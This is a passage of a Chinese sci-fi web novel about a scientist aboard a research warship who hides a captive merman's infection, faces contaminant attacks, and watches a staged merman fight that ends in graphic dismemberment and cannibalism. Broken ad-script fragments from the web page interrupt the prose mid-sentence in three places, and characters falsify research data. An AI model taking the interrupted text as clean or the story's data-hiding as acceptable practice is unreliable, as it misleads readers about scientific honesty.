脆弱的人类不过百年寿数,他们的巅峰期对人鱼来说不过一瞬,可偏偏就是这样也如飞蛾扑火般捕捉人鱼。 他们说的末世其实人鱼也有感觉。 数十年前海洋吞没了许多陆地,海洋中开始出现一种脏东西,被它们抓过会被感染同化。 起初这些脏东西只在浅海出没,慢慢的可进食生物开始退减,现在连中层海域也出现了这些东西。 从前安全无比的海洋,也开始危机四伏。 赫瑞斯盯着晏越出神,突然看到他垂在腿间的手指轻轻抽了一下,胸膛的起伏也变快。 他醒了。 但他应该是很累,并没有直接睁开眼睛,也就没发现人鱼其实早就醒了并一直在观察着自己。 他接通一直带在耳边的联络器,简单的“嗯”了几句,最后将鼻梁上的镜框拿下来,捏了捏鼻梁骨,清醒片刻后起身拉开了门。 谈寺也接到了通知,跟晏越一起赶往会议室,显然也是刚醒,声音有点沉。 “整天胡扯,他们现在居然以人鱼被感染不确定稳定性为借口要求进行实时监测,我们要配合吗?” 晏越冷笑一声,“配合?” 谈寺点头表示知道了,“那一会儿就见招拆招,这几天的记录我都记下来了,有几次的数据异常波动抹除了,先拿这个糊弄过去。” 其实谈寺也知道,人鱼现在的状况可经不起查。 虽说有了抗体抑制,它的外表不再出现异常情况,但仔细推敲下去就会发现其中的猫腻。 比如今天的麻醉剂药量已经对它不起效了。 就在两个人刚抵达二层时,船体剧烈摇晃起来。 头顶的警铃滴滴作响,因为一时没防备手里的资料撒了一地。 呆在观察室的观察员边跑边喊:“有污染物入侵!” 一层指挥室内,布拉德利叼着烟大步流星走向指挥台,一脚踹开凳子。 “怎么回事?!” 军官连忙汇报:“少校,有小批量的海底污染物入侵,只是这污染物有点奇怪...” “别废话!” “是!污染物都集中聚集攻击军舰三层的这里这个位置!” 布拉德利推开椅子走到显示屏上,看到那里聚集的红点紧皱着眉头。 “这个位置...好像是晏越教授的研究室。”一旁的卫兵喃喃到。 8. 第 8 章 “轰——” 船体再次被暴力撞击,所有人都摇摇晃晃撞在墙壁上。 晏越才刚稳住脚拔腿就往研究室跑,在一堆哄闹的声音中与人群逆行。 有士兵看到后赶来阻止他,“教授,三层正在被重点攻击,您得马上撤离!” 晏越冷静的可怕,沉声道:“让开,出了什么事我自己负责。” 士兵不再拦他。 但刚抵达三层就被巨大的震动波掀到墙壁上震麻了后背,头顶的灯也因此被震碎扑簌簌地往下掉。 整个走廊顿时陷入漆黑之中,只有几个应急灯在散发着微弱的光芒。 刚才用手臂挡住炸开的玻璃碎片,裸露在外的手背火辣辣的,应当是破了。 晏越简单擦了一下手背,摸着兜里刚才顺走的配枪一把推开研究室的门。 线路不知道什么时候被切断,研究室漆黑一片,潮湿扑面而来。 他一脚踩进没过脚背的水里将应急灯打开,连忙赶回观察室。 偌大的培养皿中空空荡荡,二层的机械顶被掀了个洞,里面的人鱼不知所踪。 忒亚航行在深海之中,中控系统被损坏后室内温度不断降低,晏越呼出一层白雾,迅速离开研究室检查每一间屋子。 三层都是实验室和器械室,每个房间里的东西很杂乱,想要藏下一只人鱼不是那么难。 连开了几个房间都没有看到人鱼的身影,晏越面无表情加快速度。 “喀拉。” 脚下突然发出清脆的声音。 他踩到了一个鳞片。 晏越捡起来放在手心用灯照了一下,琥珀色的鳞片在灯的照射下闪着冰冷的色泽。 他将鳞片放进兜里,握住比其他房间更加冰冷的门把手一把推开。 冷气混杂着血腥味和污染物的腥臭味骤然扑来。 头顶不断滴落水珠滴落在他的镜片上,漆黑的标本室看不到任何东西只能凭借本能摸索着墙壁缓缓走进去。 晏越举着枪的手稳稳的端着,但水珠模糊了视线,他索性将眼镜摘下来放进兜里。 好在他近视不算太高因此并不碍事。 也许是镜腿合在一起时发出的细微声音惊动了污染物,浓烈的腥臭味扑面而来。 他本能的感觉到背后一股恶寒,冲着那个快速冲着自己来的黑影连开几枪。 “嘎——” 黑影吃痛尖叫,但仍直直冲着晏越攻击。 晏越拼尽全力躲开黑影的攻击,趁着黑影没反应过来扑到一边将应急灯打开。 灯亮的瞬间,他看到了攻击自己的那团黑影。 那大约是个软体动物的躯体,表面却覆着许多坚硬的贝壳看起来疙疙瘩瘩的,此时正时不时在向下滴答着黑色且粘稠的液体。 被液体触到的地方开始滋滋冒烟,地板很快被腐蚀出一个洞。 晏越抄起冷冻枪就是一枪,将污染物的小半个身子冻住,吃痛的污染物尖叫着高速撞到标本室的窗上。 忒亚的门窗都是新材料特制,污染物乍一下没有撞裂,开始分泌腐蚀性液体喷在玻璃上并反复用坚硬的外壳撞击四五次后,晏越听到细微的玻璃碎裂声。 下一刻,碎裂的网纹迅速爬满整个窗,而特制玻璃在污染物最后奋力的撞击下终于不堪重负碎裂开来。 海水猛地涌入房间,污染物趁机从破洞逃了出去。 晏越终于得以喘息,也注意到了角落处的金色身影。 人鱼用鱼尾直立起来,金色鱼尾华丽又粗壮,轻易地支撑起它的身躯。 它几乎要顶到天花板。 它一头金发湿漉漉地搭在脑后,此时正望着玻璃那边的方向不知道在想什么。 警卫灯滴答作响,晏越迅速反应过来冲去拉开紧急制动的罩子,一拳砸了下去。 窗边开始快速升起铁板将门窗和舱内隔离开。 晏越突然闷哼一声捂着胸口跌坐在地,摔进海水里连个声音都没有,手腕的机械表鸣个不停。 苍白的脸一点血色没有,不断地冒着冷汗,他颤抖着手挣扎摸向口袋。 因为这个异响,它扫了他一眼。 蔚蓝的竖瞳冰冷、淡漠,让人毛骨悚然。 它耳鳍微动,缓慢蛇行靠近他。 鱼尾拖曳在水中扰乱了水声。 晏越无暇顾它。 舱里的海水在逐渐上涨直至胸口,但他已经没有力气站起身,只能费劲的撩起湿漉漉的衣袖往小臂上注射了一针药剂。 赫瑞斯耳鳍微动,下一秒朝着那个方向低吼警示,蹼爪漏出锋芒,眼神变得具有攻击性。 晏越看的清楚,冲进来的不是污染物,是一只人鱼。 那只人鱼顺着冲进来的水流想要攻击赫瑞斯,它的体型与赫瑞斯不相上下。 但被打扰的赫瑞斯骤然暴怒,还没等袭来的人鱼靠近便用强壮的鱼尾将它狠狠拍了出去。 此时舱内已经被完全隔离,海水不再上涨,但足以人鱼蛇行。 标本室的血清因为激烈的打斗被噼里啪啦扫到水里,混着木质物品碎裂声在舱内回响。 晏越的四肢被泡在冰冷的海水里,心像是要跳出来一样,太阳穴突突的跳着。 面前许多玻璃碎片飘在水面上,这些碎片对人鱼的坚硬鳞片来说没有任何实质性的伤害,但他不一样。 标本混入水中,此时水已经被污染,一旦他身上被玻璃划破,那么这些污染物将进入他的体内。 他强撑着摇摇晃晃站起身,想要尽快解决这件事,可举着枪的手无论怎样都瞄不准。 人鱼的速度太快了,很难想象这如果是开阔的海域将会是什么场面。 更何况他此时的这个状态别说击杀人鱼,连击中都无法做到。 赫瑞斯的状态极度不稳定,不能纠缠。 他吐出喉头反上来的一口血,看向天花板的吊灯。 “笃笃。” 赫瑞斯抽出神看向这里,晏越用枪比着吊灯,吊灯的链接处因为撞击已经松动,只需要轻轻一枪就会砸落在地。 高大的人鱼起初并没有什么反应,在晏越再次敲击墙壁的催促下,它急速掉转方向向灯下蛇行,入侵的人鱼紧紧咬在身后,伸出的蹼爪多次即将触到它的尾鳍。 但每当快触到时,那尾鳍就像灵活的蛇扫开了。 晏越深吸一口瞄准吊灯扣动扳机,吊灯应声砸落在入侵的人鱼身上,噼里啪啦闪着火星将它的动作打断。 金尾人鱼瞬间扭身,蹼爪穿透了它 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的胸膛。 那只人鱼挂在赫瑞斯的手臂上被缓缓抬起来,痛苦地尖叫着,它注意到赫瑞斯身后的人类。 就是这个人类,该死的人类! 它愤怒地尖叫悲鸣咆哮,音浪将所有血清标本尽数震碎,晏越感觉一股巨大的冲击砸在自己的五脏六腑上,猛地呕出一口血。 赫瑞斯眼底泛出黑,阴冷寒冽的气息笼罩下来,下一刻它扭断了那只人鱼的脖子。 咆哮声戛然而止,这场同类间的厮杀是赫瑞斯赢了。 它站在场中,金色的鱼尾染上血迹,更加灼目,像掌控海底的神明。 蹼指滴滴答答的落血,没有一滴是它的。 晏越靠在墙边举着枪的手没放下来,因为他看到了赫瑞斯尾鳍上的痕迹,带了点黑色的纹路。 忒亚每一个房间开启紧急制动功能后都会被指挥室第一时间发现。 紧急制动后这件房间只能从外面打开,在外部支援没有抵达前,这件屋子只有他们两个。 金尾人鱼喉间发出低吟,它将手中的尸体随意地抛到一边,盯着他逐渐靠近。 它像是轻易捕捉到了猎物,而此时又因为餍足所以产生了更浓厚的想要玩弄猎物的兴趣,目光在他的身上肆意流转。 晏越冷着脸将枪抵在它的胸口,但它熟视无睹,用蹼爪握住了枪管,尾鳍划过他的胳膊,上面的倒刺迅速扫出许多痕迹。 血珠滴落在它的尾鳍上。 他看到它轻皱鼻翼正在嗅这股味道,像是瘾君子般漏出一丝餍足。 “远离我。” 晏越的声音在它耳边像是风,全然听不见。 就在这时,屋外的躁动声不断逼近,晏越突然将枪放下来把胳膊横过来抵在它的胸口增加他们之间的距离。 人鱼的体温很凉,温热的血像是被冰冻了一般。 它停住了一瞬,似乎是没理解为什么晏越突然这样,但很快它勾了一下嘴角,蹼爪轻轻抵在他的后脑。 下一秒,晏越毫不犹豫将兜里的麻醉剂扎入它的侧腰,迅速推了进去。 在昏迷前,那只眼睛仍旧眷恋的黏在了他身上,没有愤怒,没有不解,只有无尽的贪念和饥饿的欲.望。 在铁门松动的同时,人鱼坠入海水中。 舱门大开,海水瞬间涌出,他泡的冰冷的腿终于得以见到空气。 士兵迅速进入有序清理现场,他们身后站着几个人。 为首之人穿着身笔直的军服,肩章上的星星比他的制服上的金边还要亮,裤子被溢出的水打湿也无动于衷,褐色的发一丝不苟梳在脑后,漏出似含情般的眉眼。 他扫了一眼标本室里的情形,眼神在那个断头人鱼上多停留了几秒钟,最后停在浑身湿透的晏越身上。 青年的白大褂被染上了各种颜色,血污和破碎的玻璃碴扎在上面,他挽起一个袖口,小臂正在不断滴着血,艳红又妖冶。 跟信息里看到的模样一样,只是此时他并没有戴眼镜,一双漂亮的眼睛生动起来,不像电子屏里那样冷冰冰的。 “你好,我是莫里·亚当斯,隶属帝国军部,接到命令来到忒亚保证阁下的实验顺利进行。” 晏越默不作声将麻醉剂揣进兜里,云淡风轻地点了点头。 9. 第 9 章 谈寺从人群中挤出来跟上疾行的晏越,确认晏越安全后松了口气,连忙将手里的资料全部递给他。 污染物的侵入原因已经找到了。 那是个水母体的污染物,因为一时疏忽从管道中不声不响躲过了检测系统爬进了忒亚,并巧妙的找到了研究室中的赫瑞斯。 在众人破门而入前他用麻醉针将赫瑞斯放倒,因此他们并没有发现赫瑞斯的异常,只看到了一只人鱼尸体。 这并不能转移视线,他依然需要证明赫瑞斯不会在忒亚上病变。 至于这只断头人鱼为什么会出现在忒亚,就是新的问题了。 他知道被感染的生物会产生一种奇异的磁场,吸引其他污染物聚集。 忒亚一般不会被突然袭击,这种可能性的源头只能是赫瑞斯。 如果他无法拿出具有信服力的理由,一纸状告到审判庭,后患无穷。 他回去推开实验室隐蔽的侧门,在冷冻柜里取出黑色的匣子。 尚且冒着冷气的匣子缓缓被开启,里面有一管淡蓝色的试剂。 他拿起药剂疾步走到观察室,昏迷的赫瑞斯被送了回来,此时正安静地浮在水中央睡着。 它的发浮在周围,带着些许的卷,藏住精致的脸庞。 他将药剂打入它的身体内,又打了一管加量的抗体进去,做完这些事后迅速回去换了一身干爽的衣服。 “教授,请立刻抵达会议室。” 掐着时间点,守卫来到了研究室外不容置喙。 他点点头顺从的跟着几个士兵抵达会议室。 这扇门后座无虚席,视线在他进入会议时从四面八方投来,有不怀好意、质疑甚至有愤怒。 因为在没证明他的自身清白前,他们主动将这场污染物的攻击原因归结给了晏越。 其中坐在靠前位置上的特温·拉斐尔最甚,他看到晏越进来后立马宣布开始会议,迫不及待的想要看他被揭穿、哑口无言。 “晏越,你实验的人鱼在捕获时就已被感染,虽然当时得到救助,但你拖延上传人鱼的数据,这并不能证明你的人鱼是稳定的。” 特温的话音落下后四周七嘴八舌的附议。 “对!你必须要给我们一个交代!” “我的实验在这场无妄之灾中被毁了,呜呜呜呜...” “把人鱼的数据拿出来!” 那些嘈杂的声音萦绕在整个会议室中,吵的晏越脑袋隐隐作痛。 长时间缺少睡眠加刚经历了一场非常消耗体能的争斗让他本就疲惫不已,旧疾复发耗尽了他最后那点心力。 这种情况下还被提到会议室质问,任谁的脾气都不会好。 “砰!” 他翘起腿猛地一脚踹上了桌子边,吵闹的会议室瞬间安静下来,那些欺软怕硬的顿时噤若寒蝉。 “抱歉,嗓子痛,说不出话也不想吵。” 罢了他又微微笑了一下,语气真诚,嗓音沙哑,好像真的是因为身体原因只能迫不得已用这种方式让大家静下来。 伸手不打笑脸人。 那些想要还嘴的只能噤声。 他甩了一叠数据在桌子上给靠的最近的一个人。 那个人本来就害怕,文件夹在长桌上滑行到自己面前,他也不敢拿起来。 “拿起来看看。” 晏越这么说,他只能拿起来看,冷汗都从额角开始滴,战战巍巍把文件夹从头到脚的看了一遍也没看出来问题。 “没...没问题啊...” 有人仍是不信,吵着让他再看一遍。 “不可能!你仔细看看!” “凯文!你的眼镜是不是不好用,不行的话拿放大镜!” “你可不能因为崇拜晏越就包庇他的罪行啊。” 凯文的腿都打颤了,天知道旁边坐着个恶鬼是什么感觉啊。 他狠狠的瞪着离晏越最远并且叫的最大声的人,“你不信自己来看!” 晏越就在旁边抱着臂似笑非笑。 那人声音也低了下来,嘀嘀咕咕着什么。 就在怀疑的声音逐渐弱下,又一叠资料被甩在了桌子上。 “再看看。” 凯文认命般的拿起那个资料,但很快他的眼睛便黏在了文件夹上。 众人看凯文没了声音,一时好奇的催问: “是什么?凯文说话啊,那是什么?” “漂亮...太漂亮了...” “什么?你大点声说话,凯文,没吃饭吗?” “我说!这个数据太漂亮了!”凯文涨红了脸大叫起来。 那是一分关于赫瑞斯指标的报告,几个靠得近的研究人员听到他这么说纷纷把头凑过来。 不看不知道,一看都被上面的数值惊呆了,窃窃私语着满脸不可置信。 “真是...” “好漂亮的指标,真是不可思议。” “居然突破了上限值啊!” 隔着远的人有好奇的凑过来看看,还有一些拉不下脸的便忍着好奇心等朋友去看。 特温看着甚至想要眯起眼睛补觉的晏越气的咬牙。 望着那只金尾人鱼的表情也有些迷惑了。 难道这只金尾人鱼真的被清除了感染? 别人或许不知道,但是他肯定在当时,这条人鱼已经错过了最佳治疗期开始病变了。 抗体只能保证在爆发期前注射有效。 但既然晏越既然敢这么说,肯定是做了什么手脚。 毕竟以他的能力,想要在这上面使一些手段隐瞒众人轻而易举。 但唯一能确定就是,即使是短暂的遮掩,也没办法做到长久不出问题。 特温灰色的眸子转了一下,突然大声打断那些人的谈论:“既然这样,那不如教授给我们亲自看看你那人鱼究竟有什么不一样的。” 他摁下某个按钮,会议室的墙壁陡然降下。 巨大的落地玻璃背后是互通的封闭水域。 因为特制涂层,他们可以放心观察这片水域,而这片水域中的生物在这个方向看到只有冰冷的铁墙。 这片水域俨然算是半个角斗场。 在水域一侧,他们很多人坐直了身子,看到了晏越那条人鱼。 会议室安静了片刻,许多人低吟着,情不自禁想要靠近玻璃后的人鱼,它华丽又璀璨的鱼尾像海底的太阳。 但这些都不及它那张上帝精心雕琢的脸耀眼。 巨大的笼子被机械臂缓缓推出来,那后面不是鲨鱼也不是什么其他海底生物,是一只人鱼,成年的雄性人鱼,蹼指尖闪着冷光。 它有着强壮的墨绿鱼尾,缓缓地从牢笼里游了出来,像野兽巡视自己的领地般轻松。 起初它并没有什么攻击性,但被特温施加在脖颈的电流刺激,只能被迫攻击睡眠状态的赫瑞斯。 有些人反应过来看向晏越的方向,本来托着下巴小憩的人不知何时醒过来,沉着脸,周遭的温度都降了几度。 他们干吞了吞嗓子。 有人在心里骂特温真是疯了,有人迫不及待看着这场上演的好戏,还有人仍旧沉浸在人鱼的美貌中。 人鱼对危机天生的敏锐感让它猛地睁开眼睛,将将 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 错身与刺来的蹼爪擦身而过。 它在睡眠状态被打扰,心情极度不爽,看清对面的成年人鱼后漏出些许讥讽表情,像逗猫玩一样灵活地躲开绿尾人鱼的攻击。 绿尾人鱼紧追不舍,于此同时它脖子上的项圈正在不断加大电流量,表皮已经蒙上了一层烧伤的焦黑。 会议室的人看到人鱼因为忍受巨大苦楚,速度肉眼可见的提升,它的攻击更快也更凶猛,赫瑞斯甚至不免被划破了脸。 蓝色的血液在水中丝丝散开。 它浅色的瞳仁闪烁出凶残与暴戾,脊背略略拱起做出攻击姿态,一扫之前的惬意。 很奇怪的是如此剑拔弩张的气氛下,他们以为接下来的场面一定很凶残。 但两只人鱼并没有继续争斗下去,保持着这个姿势互相面对面直视着对方。 所有人都屏气凝神等待下一步,很快有人听到了奇怪的声音。 那不应该是声音,是一种水的震动,空气的共鸣。 有人反应过来惊讶的指着水中的人鱼说,“看啊,人鱼它们在互相交流!” “它们在说什么?” “快点!快录下来!” 晏越眯起眼睛,静静观察赫瑞斯的一举一动。 很快,那只人鱼咆哮着叫了一声,速度提到了极限,人类的眼睛只能看到一个绿色的影子和金色的影子纠缠在水域中。 结局很简单,绿尾人鱼被赫瑞斯刺破了胸膛。 众人本以为这就结束了,有些唏嘘。 下一刻,他们看到了令他们震惊的场面—— 水域中绽放大量的蓝雾,他们看到那只绿尾人鱼的头颅缓缓脱离身躯浮起,甚至能看到脖颈正在喷射的动脉。 像浇花的水管。 这并没有完,金尾人鱼提着它的身躯,蹼爪轻轻一拽将它的残肢撕扯下来。 碎尸混合着残肢在水域中绽放开血雾,赫瑞斯竟在撕咬着绿尾人鱼的残尸,大口吞咽着。 许多人趋之若鹜的天使般姣好的面容此时犹如地狱的鬼魅,埋在血雾中。 有些人吓得脸色苍白,还有接受程度比较低的直接冲了出去疯狂干呕。 现在没人会被它那张脸欺骗到,他们确确实实的想起了这是一只凶残的野兽。 “砰。” 桌子那边的晏越沉着脸将手里的资料抛在了地上,强压怒火。 众人屏气凝神,像鹌鹑一样不敢吱声,他们确定从今天开始就没办法保持中立了。 因为晏越和特温之间的斗争已经不会缓和了。 “你最好祈祷那条绿尾的没什么问题以及我心情好,否则你最好每天晚上都睁着眼睛睡觉,因为我会在深夜把你这张脸皮撕下来做皮鞋,剩下的部分绞碎了喂海狗。” 他就这么在所有人在场的会议室警告特温,可偏偏这样没人觉得他在开玩笑。 能养着这么一条人鱼的研究人员能是什么善类啊? 说完这句话他大力推开会议室的门离去。 有一些人不想跟着特温的零零散散也离开了,还有一部分因为那个数据给了自己一部分启发匆匆离开。 只有很少一部分人留了下来,他们也看到了这一幕。 金尾人鱼耳鳍微动,停止撕咬与吞咽的动作,向身后的水域望去。 凶恶的神情在此时尽数消失,取而代之的是一种巨大的眷恋和沉迷。 好像恶煞重新变回了天使的模样。 它舔了舔唇上的血,像是丢垃圾一样抛开绿尾人鱼的残尸,转身迅速向那个方向游去。 特温看着它的变化若有所思。 10. 第 10 章 机械门一推开,扑面而来的血腥气息让试验员差点呕出去,只能在晏越旁边捂着鼻子强迫自己不吐出去。 晏越扫了一眼池里的人鱼,把试验员支出去。 “去切断跟会议室水域的连通,让谈寺把他们系统黑了,在门口守着,谁敢闯进来不用问我直接崩了。” 试验员踉跄着接住抛过来的枪。 金属质感的枪在手里格外沉重。 他犹豫问到:“那莫里·亚当斯上校呢?” “挡住他,你打不过他。” 观察室很快只剩一人一鱼。 它靠近池边眷恋地看着他,金色的长发染上了诡异像是剧毒的淡蓝,唇角还残存着血肉。 它将那些血肉舔入口腔中,双手按住地板一撑,轻松跃出水面。 灼热的视线几乎要将面前的人类烧穿一个洞。 晏越面无表情看着它爬到自己面前,直到那只黏腻冰冷的蹼爪握住了他的脚踝,他毫不犹豫摁下了控制机关。 “滋滋滋——” 电流声中止了它的动作,它吃痛的缩回手臂,无辜地看向晏越。 好像并不知道为什么他要伤害自己。 但晏越捕捉到了那双非人瞳仁中一闪而逝的阴沉。 他蹲下身子,捏着它的下巴,冷漠地说:“它跟你说了什么?” 人鱼没有回他的话,可怜巴巴地看着他,蹼爪贴在他的手背上一触即分,虚掩在上保持距离,不敢再碰他。 蔚蓝色的眼睛清澈无比,顺从地让面前的人类捏着自己的下巴,还要小心翼翼防止张嘴时自己的犬齿刮伤了他。 “chi...bu?” 这副顺从模样任谁看了都要心软一分,安慰自己要不然还是算了。 但晏越没有,他甚至半笑不笑勾了一下唇角,全然没被人鱼这番模样蛊惑。 “没有不让你吃,你把那间屋子里的人类全吃了我都让你吃个饱,我问你,那只人鱼跟你说了什么?” 诱导并没有生效,人鱼刚才那副顺从模样一扫而空,本是温柔的眼睛骤然变得森冷,讨好之色被浓郁的兴趣取代。 “人...” “吃...!” 它缓慢吐出单音节直到最后的音落地,长尾一扫卷着他劲瘦的腰身跃入水中,在空中划出了一道漂亮的弧线。 电流在水中迅速蔓延,晏越不可避免的呛了几口水。 此时电流密密麻麻爬到他身上,手腕被粗粝的蹼爪用力一握,手心的麻醉剂便脱手而出。 “呃...” 被电流反噬,他身上那些还没好全的细小伤口全部崩开。 赫瑞斯将他揽在怀中,但却没有任何温存与旖旎,那双深不见底的眼底被饥饿感充盈。 猎物终于到手,它轻轻凑近了他的脸庞。 似有似无的香气骤然扑面而来让它冰冷的肌肤不受控燥热起来,瞳孔因为兴奋而略略收缩。 它可以清晰地看到那个青色的血管、肌肤的纹理。 可下一秒,细小的黑色纹路爬上了它的身躯。 它皱起眉停止进食,鱼尾暴躁的甩动。 纹路越爬越多,越爬越快,迅速吞没了整条鱼尾,像大漠中被施加诅咒的法阵。 不知道是疼痛还是兴奋,它强壮的身躯此时竟有些微微的颤抖。 浓重的香甜气味陡然爆炸开来要将它的意识刺穿。 在感官的三重刺激下,那只蹼爪死死扣着怀里的青年,将猎物狠狠摁在自己胸膛。 胸膛贴着胸膛,心跳隔着心跳,像是怪物占据着自己的宝藏。 眼前的一切逐渐模糊,连周遭的空气也变的灼热,他们就这样维持着这个姿势不知过了多久,直到晏越感觉脖颈处搭上了一个沉重的头颅。 他疲惫地闭了闭眼睛,费力将捆着自己的手臂掀开,脱离人鱼的桎梏游到了岸边。 在水中泡了太久,他感觉自己的四肢都失去了知觉。 门外守着的试验员看到后连忙给他披上大衣。 晏越没有耽误时间,握紧了兜里的一块鳞片进入实验室。 这片是他被赫瑞斯卷进水下时拽下来的,乍一看光鲜亮丽闪着金黄的色泽,可跟另一块相比就很明显了。 那是之前污染物入侵时他在标本室门口捡到的,比现在的要通透不少。 他一直在实验室呆到深夜,直到钟表的指针停留在7的位置,试验员过来看到里面的灯还是亮的吓了一跳。 “教授还在里面?” 谈寺比他早来一些,望着实验室里的灯点点头。 “太恐怖了,什么叫天才,天才就是连睡觉的时间都在做研究,本来能力就比不过,这种自律能力更是比不过了。”试验员摇摇头,拉开凳子开始今天的工作。 没过一会儿,实验室的门被再次拉开,他们只来得及看到晏越的背影。 他什么都没说,离开了研究室,临走前将资料放在了谈寺和试验员的桌子面前。 “教授怎么了,好像状态不太好的样子?”试验员凑到谈寺身边问。 谈寺看向那个虚掩的门,里面的桌子上堆满了资料,有些散落在地面。 晏越是个很具有规则感的人,很少将资料放的这么乱。 意识到了什么后他跟试验员打开了那个文件夹,越往下看越心凉。 试验员更是放空自己,不知道接下来的路该怎么走。 “如果不是因为刚抓上来的时候被耽误了救治时间,我们又怎么会现在在这里束手无策。” 试验员支着头很颓废。 “从我来这里开始就被针对,他们压根就是看我们不顺眼处处想要逼死我们,他们根本不是为了帝国为了人类,只是为了那些名利地位而已!这个忒亚已经腐朽到了极点,甚至根本就不该存在!” 试验员越说越激动,最后甚至狠狠砸了一下桌面。 想起来忒亚的日子,从路上莫名其妙被撞、饭菜里被吐口水到宿舍莫名跳闸。 诸如此类他憋屈了太久从未发作,只因为知道只要跟着晏越,会有将那些人狠狠踩在脚下的一天。 好不容易看到了一点希望又被狠狠打压,接下来甚至不知道该怎么办。 况且那只金尾人鱼已经厮杀了两只珍贵的人鱼,第一次尚且刚糊弄过去,这另一次还没解决呢。 这几天他已经听到了许多来自忒亚学者的不满与议论,矛头直指晏越。 偌大的房间安静下来,两个人都不知道该怎么办了,只能将最后的希望寄托于晏越身上。 … 忒亚此时正航行在海上,晏越拉开通向甲板的门,咸湿的海风让他的脑子清醒了一些。 他站在角落叼起了根烟,看着一望无际的海绵,只有偶尔几个海鸥划过。 都说数年留在海洋上的士兵会压抑得心理疾病,需要一些发泄和取乐的方式。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但他十数年都呆在实验室,没有任何的发泄方式,仅凭一个念头才能支撑下来。 他静静地站在那里,跟海风共抽了一根烟,双手插着兜放空自己望向没有尽头的海平线,直到快灭尽时才将烟嘴拿下来摁灭。 跟他猜想的结果一样,赫瑞斯开始病变了。 感染病变一旦完成,那么使用人鱼血制作的所有抗体将不具有普适性,他将功亏一篑。 ‘复生’计划便是重启突破抗体极限值,让感染时间不再成为扼住喉咙的门槛。 但这只是表面上想让人看到的。 这项经过十数年尘封再次开启的计划远没有表象如此简单。 在接取任务时,他受到了国王的召见。 国王已经很老了,坐在华丽的座椅中,跟他说: 孩子,人类的成就不该止步于时间。 手掌细细密密的伤疤好了又坏,新生出来的肉稚嫩柔软,被鳞片割出一道道红痕。 最后,晏越将那个颜色最深的鳞片抛进海底,离开了甲板。 屋里的试验员看到晏越回来,激动地想要冲上去,但脚步一顿。 如果晏越也没办法了呢? “指数已经稳定了,不会下降只会上升,它会变成污染物,要抹杀掉吗?”谈寺问。 “其实再捕捉一只人鱼并不是那么艰难。” 晏越摇摇头,很难再捕捉到比赫瑞斯更强壮的人鱼了。 他从桌面上杂乱的文件中精准挑出记录赫瑞斯所有数值的那一本,拿起笔迅速在上面圈圈画画。 赫瑞斯的指标上限是经过调整的,在未调整前已经跟以往有记录的最高数值持平。 在已有记录制造出的最强抗体,可以让测试人员抵抗污染光线九分五十四秒,距离十分钟的这六秒让整个人类停滞了十年之久。 如果赫瑞斯成功突破成熟期,那么作为种子的它则意味着成为了普罗米修斯的火种。 ‘复生’计划才能真正的获得突破性进展。 晏越眼神晦暗不定,“有人鱼成熟期提前的先例吗?” 谈寺仔细思考了一下摇头,“至少在现有案例里没见过。” “催化它的成熟期,从现在起逐渐增加抗体的注入量,把感染数值压到最低突破成熟期。” 试验员呆住了,“可是从来没有人工催化成熟期的前例啊,况且现有的抗体效用只有这么大,即使是直接给它注射抗体也没办法让数值压到最低了,除非...” 谈寺皱起眉,这个答案太过于让人震惊。 晏越将手里的笔丢出去,“除非让它再迫近感染爆发期,重塑阈值。” “但是这样很有可能会让它彻底变成污染物,恐怕还没等迫近爆发期就会吸引大批的污染物聚集攻击忒亚,到时候别说实验,连命都没了,而且这样极大可能被帝国监控发现!”试验员大惊失色。 “那就把帝国的眼睛蒙上。” “这片海域处处都是监视。”谈寺有些不赞成。 晏越懒懒地掀了一下眼皮,“离开这片海域不就行了,况且我还有点账要找人算,不离开这片海域倒是麻烦。” 试验员在心里替这艘船上所有惹过他的人祈祷了一番。 “但布拉德利不会轻易改变航线。”谈寺说。 晏越直起身子笑了一下,“布拉德利不行,有人可以。” 于是他换了一件衣服,敲响了莫里·亚当斯办公室的门。 11. 第 11 章 奥凯西德高望重,时常被邀请参加各种会议与宴会,但他年事已高,因此通常是作为他学生的晏越代替他参加。 莫里·亚当斯这个名字在他人口中并不少见。 亚当斯家族本就是勋贵,又凭借着显赫的战功而在帝国政坛屹立不倒。 莫里更是少年成才名声大噪,又因生了张多情俊逸的脸,在内外两个战场上的人气都极高。 这样的莫里·亚当斯从小习惯被追随,当晏越到来时并没有太意外,微笑着对着软椅示意:“请坐。” 他甚至注意到晏越叠在膝头冻得有些发红的指尖,体贴地让贴身保镖给他倒杯热水。 保镖是个阳光大男孩,笑起来会漏出尖尖的虎牙。 “教授,有事吗?” 莫里的眼眶深邃,被那样含情的眉眼盯住会让人不自觉卸下防备。 跟拥有这样一双眼睛的人谈情说爱是一大乐趣,但晏越今天是来谈判的。 “上次遇袭,多谢上校及时救援。” 面前的亚裔青年语气淡淡的却让人感觉很舒服。 “职责所在,不必客气。”莫里·亚当斯回以微笑,“教授如果有需要的话可以随时来找我。” “既然如此那我便直说了,我希望上校更改忒亚前进的航线。” 忒亚的航线由帝国审批确定,不可随意更改,晏越这个请求并不简单,甚至有些为难人了。 莫里问:“原因呢?” 晏越一直觉得政客也好商人也罢,甚至于研究人员,归根到底都是一类人。 都是赌徒。 一局开盘,买定离手。 那双骨节分明的手因长时间吹海风此时隔着温热的杯壁终于汲取到了一点温度,也有了一些颜色。 “你是以保护‘复生’计划顺利进行为由主动来这里的,如果我没猜错的话帝国内部要政变了吧。” 他平静的声线不带有任何起伏就说出了这种传到帝国会引发骚动的话。 开朗的大男孩不知何时悄悄关上了门站在距离他一臂之远的地方。 那个位置刚刚好,无论是他想逃还是想发起攻击都会被马上制服。 “你知道当自己说出这句话的时候就已经没有反悔的余地了吗?” 晏越耸耸肩,表示自己并不在意。 莫里试图将他看穿,但那双深邃的眼睛像是深渊,什么都看不到。 “说说理由?” 气氛在此时凝到了冰点。 “联盟动荡不安又四处起兵,亚当斯家族这个节骨眼不巩固势力把你送过来保护我一个小小的研究人员实在有点屈才。” 莫里微笑着反驳:“不要妄自菲薄,你对帝国来说很重要,是‘复生’计划唯一负责人。” 晏越顿了一下,看着面前这个年轻的军官,继续说: “拉斐尔家族丑闻牵扯到你们了吧。” 莫里轻笑出声:“拉斐尔还不至于让我们为难。” 